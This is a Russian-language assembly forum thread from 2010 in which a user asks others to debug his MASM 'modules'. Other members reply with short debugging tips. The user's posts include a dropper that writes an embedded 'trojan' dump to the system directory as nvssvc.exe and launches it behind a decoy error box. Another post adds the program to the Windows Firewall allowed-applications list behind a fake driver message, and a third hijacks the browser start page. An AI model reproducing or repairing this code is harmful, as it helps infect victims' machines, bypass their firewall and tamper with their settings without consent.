WriteFile

Тема в разделе "WASM.BEGINNERS", создана пользователем fragment, 11 май 2010.

Статус темы:
Закрыта.
  1. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Установил Visual Studio 2010 , действительно там все есть и rc и ml64
    У меня вот такой вопрос, как можно собирать проекты на ассемблере прямо в этом SDK, я сейчас пользуюсь notepad.exe и батниками для билда от masm32, может ктонибудь подсказать по тонкой настройке....

    [​IMG]
     
  2. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Мне так и ни кто не подскажет из присутствующих как это SDK настроить и натравить его на ml.exe и link.exe? :dntknw:
     
  3. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    RC.exe 6.1.7600.16385 , ml.exe & link.exe 10.00.30319.01 есть в VS 2010 Express.
    Программа рабоатет не правельно, помагите, опять в каторый раз уже с новыми компиляторами и старым кодом, почему, не содается фаил...
    Код (Text):
    1. .586p
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib  ./lib/kernel32.lib
    6. includelib  ./lib/user32.lib
    7. includelib      ./lib/shell32.lib
    8. include         ./trojan/trojan.txt ;Дамп программы с длинной в двойных байтах
    9.  
    10. .code
    11. start:
    12.  
    13. ;Создает программу из дампа, созраняет его и запускает
    14.  
    15. GetSystemDirectoryA PROTO :DWORD,:DWORD
    16. push 260h
    17. push offset Buff_1
    18. call GetSystemDirectoryA
    19.  
    20. .data?
    21. Buff_1 db 260h dup(?)
    22. hFile dd ?
    23. pBytesWritten dw ?
    24.  
    25. .data
    26. exename  db "\nvssvc.exe",0
    27. TextOpen db "open",0
    28.  
    29. .code
    30.  
    31. lstrcatA PROTO :DWORD,:DWORD
    32. push offset exename
    33. push offset Buff_1
    34. call lstrcatA
    35.  
    36. CreateFileA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    37. push 0h
    38. push 0h
    39. push 2h
    40. push 0h
    41. push 1h+2h
    42. push 80000000h+40000000h
    43. push offset Buff_1
    44. call CreateFileA
    45.  
    46. mov hFile,eax
    47.  
    48. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    49. push 0h
    50. push offset pBytesWritten
    51. push TrojanLen
    52. push offset Trojan
    53. push eax
    54. call WriteFile
    55.  
    56. CloseHandle PROTO :DWORD
    57. push hFile
    58. call CloseHandle
    59.  
    60. ShellExecuteA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    61. push 0
    62. push 0
    63. push 0
    64. push offset Buff_1
    65. push offset TextOpen
    66. push 0
    67. call ShellExecuteA
    68.  
    69.  
    70. ;тестовое сообщение
    71.  
    72. .data
    73. MessBoxA db "Программа не работает на платформе NT.",0
    74.  
    75. .code
    76. MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD
    77. push 00000030h
    78. push 0h
    79. push offset MessBoxA
    80. push 0h
    81. call MessageBoxA
    82.  
    83. ExitProcess PROTO :DWORD
    84. call ExitProcess
    85.  
    86. end start
    Код тот же , компиляторы версии 10, я непонимаю почему так.
     
  4. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Папробую прикрепить исходные коды и линкер.
     
  5. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Вот еще , программа компилируется но тестовое сообщение в конце программы не появляется :dntknw:

    Код (Text):
    1. .586p
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib ./lib/kernel32.lib
    6. includelib ./lib/user32.lib
    7. includelib ./lib/advapi32.lib
    8.  
    9. .data
    10. szAllowListKey  db "SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List",0
    11. szDopPar    db ":*:Enabled:",0
    12.  
    13. .data?
    14. hKey   dd ?
    15. sBuff       db  1024 dup(?)
    16. szMyKey     db      1024 dup(?)
    17. szMyKey2    db      1024 dup(?)
    18. lpFileShortName db      1024 dup(?)
    19.  
    20. .code
    21. start:
    22.  
    23. RegistMe proc
    24.  
    25. GetModuleFileNameA PROTO :DwORD,:DWORD,:DWORD
    26. push 1000h
    27. push offset sBuff
    28. push 0
    29. call GetModuleFileNameA
    30.  
    31.     test eax, eax
    32.     jz @exit
    33.     lea edx, [eax+sBuff-1]
    34. @@:
    35.     cmp BYTE PTR [edx], '.'
    36.     je @F
    37.     dec edx
    38.     jmp @B
    39. @@:
    40.     mov BYTE PTR [edx], 0
    41. @@:
    42.     cmp BYTE PTR [edx-1], '\'
    43.     je @F
    44.     dec edx
    45.     jmp @B
    46. @@:
    47.        
    48. lstrcatA PROTO :DWORD,:DWORD
    49. push edx
    50. push offset lpFileShortName
    51. call lstrcatA
    52.  
    53. GetModuleFileNameA PROTO :DwORD,:DWORD,:DWORD
    54. push 256
    55. push offset szMyKey
    56. push 0
    57. call GetModuleFileNameA
    58.  
    59. lstrcpyA PROTO :DWORD,:DWORD
    60. push offset szMyKey
    61. push offset szMyKey2
    62. call lstrcpyA
    63.  
    64. lstrcatA PROTO :DWORD,:DWORD
    65. push offset szDopPar
    66. push offset szMyKey
    67. call lstrcatA
    68.  
    69. lstrcatA PROTO :DWORD,:DWORD
    70. push offset lpFileShortName
    71. push offset szMyKey
    72. call lstrcatA
    73.  
    74. RegOpenKeyExA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    75. push offset hKey
    76. push 20006h
    77. push 0
    78. push offset szAllowListKey
    79. push 80000002h
    80. call RegOpenKeyExA
    81.  
    82. lstrlenA PROTO :DWORD
    83. push offset szMyKey
    84. call lstrlenA
    85.  
    86.  
    87. RegSetValueExA PRoTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWOrD
    88. push eax
    89. push offset szMyKey
    90. push 1
    91. push 0
    92. push offset szMyKey2
    93. push hKey
    94. call RegSetValueExA
    95.  
    96. RegCloseKey PROTO :DwOrD
    97. push hKey
    98. call RegCloseKey
    99.  
    100. @exit:
    101.         ret
    102. RegistMe endp
    103.  
    104. .data
    105. ;Тестовая месага в конце программы
    106. MessBoxA db "Driver gnu_openware-0.784.sys or higher not found.",0
    107.  
    108. .code
    109.  
    110. call RegistMe
    111.  
    112. MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD
    113. push 00000030h
    114. push 0
    115. push offset MessBoxA
    116. push 0
    117. call MessageBoxA
    118.  
    119. ExitProcess PROTO :DWORD
    120. push 0
    121. call ExitProcess
    122. end start
     
  6. airyashov

    airyashov New Member

    Публикаций:
    0
    Регистрация:
    4 сен 2008
    Сообщения:
    12
    метка start не в нужном месте
     
  7. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    ниче не получается, пришлось опять юзать олю
     
  8. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Может быть секции распаложены не правельно, но мне так нравится
     
  9. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    странно он дебажется, не отображается hex дамп и вообще.. в чем дело ?

    [​IMG]
     
  10. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Еще вот такой вопрос созрел , каким перехватом.. какой функции можно установить консольное приложение или оконное?
     
  11. Rustem

    Rustem New Member

    Публикаций:
    0
    Регистрация:
    8 мар 2004
    Сообщения:
    429
    Адрес:
    Russia
    fragment
    Можно через заголовок ЕХЕ ImageOptionalHeader->Subsystem
    2 - GUI
    3 - Console
     
  12. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    А можно по падробней как организовать проверку и сбросить приложение если субсистема меня не устраивает , немогли бы вы накидать мне ексемпл так сказать, хочу запускать только консольные программы через забинденую смд.ехе
     
  13. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Почему все жеж мне ни кто не помагет ? Я понимаю конечно что код ни мой и я занимаюсь .. "модульным программированием" но все жеж помогите новечку разобраца со своими праблемами.. пожалуйста.
     
  14. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Обясните пожалуйста почему не присваевается значение ключу реестра.
    Код (Text):
    1. .686p
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib ./lib/kernel32.lib
    6. includelib ./lib/user32.lib
    7. includelib ./lib/advapi32.lib
    8.  
    9. .data
    10. MessBoxA db "Start Page Set",0
    11. RegValueName_1 db "Software\Microsoft\Internet Explorer\Main",0
    12. RegValueName_2 db "http://google.com/",0
    13. RegValueName_3 db "Start Page",0
    14.  
    15. .data?
    16. hKey dd ?
    17.  
    18. .code
    19. start:
    20.  
    21. RegOpenKeyExA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    22. push offset hKey
    23. push 20006h         ;KEY_WRITE
    24. push 0
    25. push offset RegValueName_1
    26. push 80000001h          ;HKEY_CURRENT_USER
    27. call RegOpenKeyExA
    28.  
    29. RegSetValueExA PRoTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWOrD
    30. push eax
    31. push offset RegValueName_2
    32. push 1              ;REG_SZ
    33. push 0
    34. push offset RegValueName_3
    35. push hKey
    36. call RegSetValueExA
    37.  
    38. RegCloseKey PROTO :DwOrD
    39. push hKey
    40. call RegCloseKey
    41.  
    42. MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD
    43. push 00000030h
    44. push 0
    45. push offset MessBoxA
    46. push 0
    47. call MessageBoxA
    48.  
    49. ExitProcess PROTO :DWORD
    50. push 0
    51. call ExitProcess
    52. end start
     
  15. Rustem

    Rustem New Member

    Публикаций:
    0
    Регистрация:
    8 мар 2004
    Сообщения:
    429
    Адрес:
    Russia
    fragment
    Смотри под отладчиком, что возвращают апи-функции, тогда узнаешь, почему не пишется
     
  16. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Обе функции возвращают в eax нули,
    LastError 000036B7 ERROR_SXS_KEY_NOT_FOUND , но по моему к моей "программе" ето ни какова отнашения не имеет.
     
  17. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    fragment
    Скачиваете ман "Native API Reference", Gary Nebbett'a изучаете, потом юзаете.
     
  18. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Вывсетакие ни как не хотите помагать нубам!!!
     
  19. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    fragment
    Модуль давайте сюда будем дебажить.
     
  20. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Clerk модулей то у меня много , пока сам еще не знаю что собераю, не решил еще , но там много работы с реестром Windows. Вот , к примеру , листинг программы "модуля" каторя должна по идее устанавливать стартовую страницу в браузерах, я его уже приводил, ключь создается пустым.

    Код (Text):
    1. .686p
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib ./lib/kernel32.lib
    6. includelib ./lib/user32.lib
    7. includelib ./lib/advapi32.lib
    8.  
    9. .data
    10. MessBoxA db "Start Page Set",0
    11. RegValueName_1 db "Software\Microsoft\Internet Explorer\Main",0
    12. RegValueName_2 db "http://google.com/",0
    13. RegValueName_3 db "Start Page",0
    14.  
    15. .data?
    16. hKey dd ?
    17.  
    18. .code
    19. start:
    20.  
    21. RegOpenKeyExA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    22. push offset hKey
    23. push 20006h         ;KEY_WRITE
    24. push 0
    25. push offset RegValueName_1
    26. push 80000001h          ;HKEY_CURRENT_USER
    27. call RegOpenKeyExA
    28.  
    29. RegSetValueExA PRoTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWOrD
    30. push eax
    31. push offset RegValueName_2
    32. push 1              ;REG_SZ
    33. push 0
    34. push offset RegValueName_3
    35. push hKey
    36. call RegSetValueExA
    37.  
    38. RegCloseKey PROTO :DwOrD
    39. push hKey
    40. call RegCloseKey
    41.  
    42. MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD
    43. push 00000030h
    44. push 0
    45. push offset MessBoxA
    46. push 0
    47. call MessageBoxA
    48.  
    49. ExitProcess PROTO :DWORD
    50. push eax
    51. call ExitProcess
    52. end start
     
Статус темы:
Закрыта.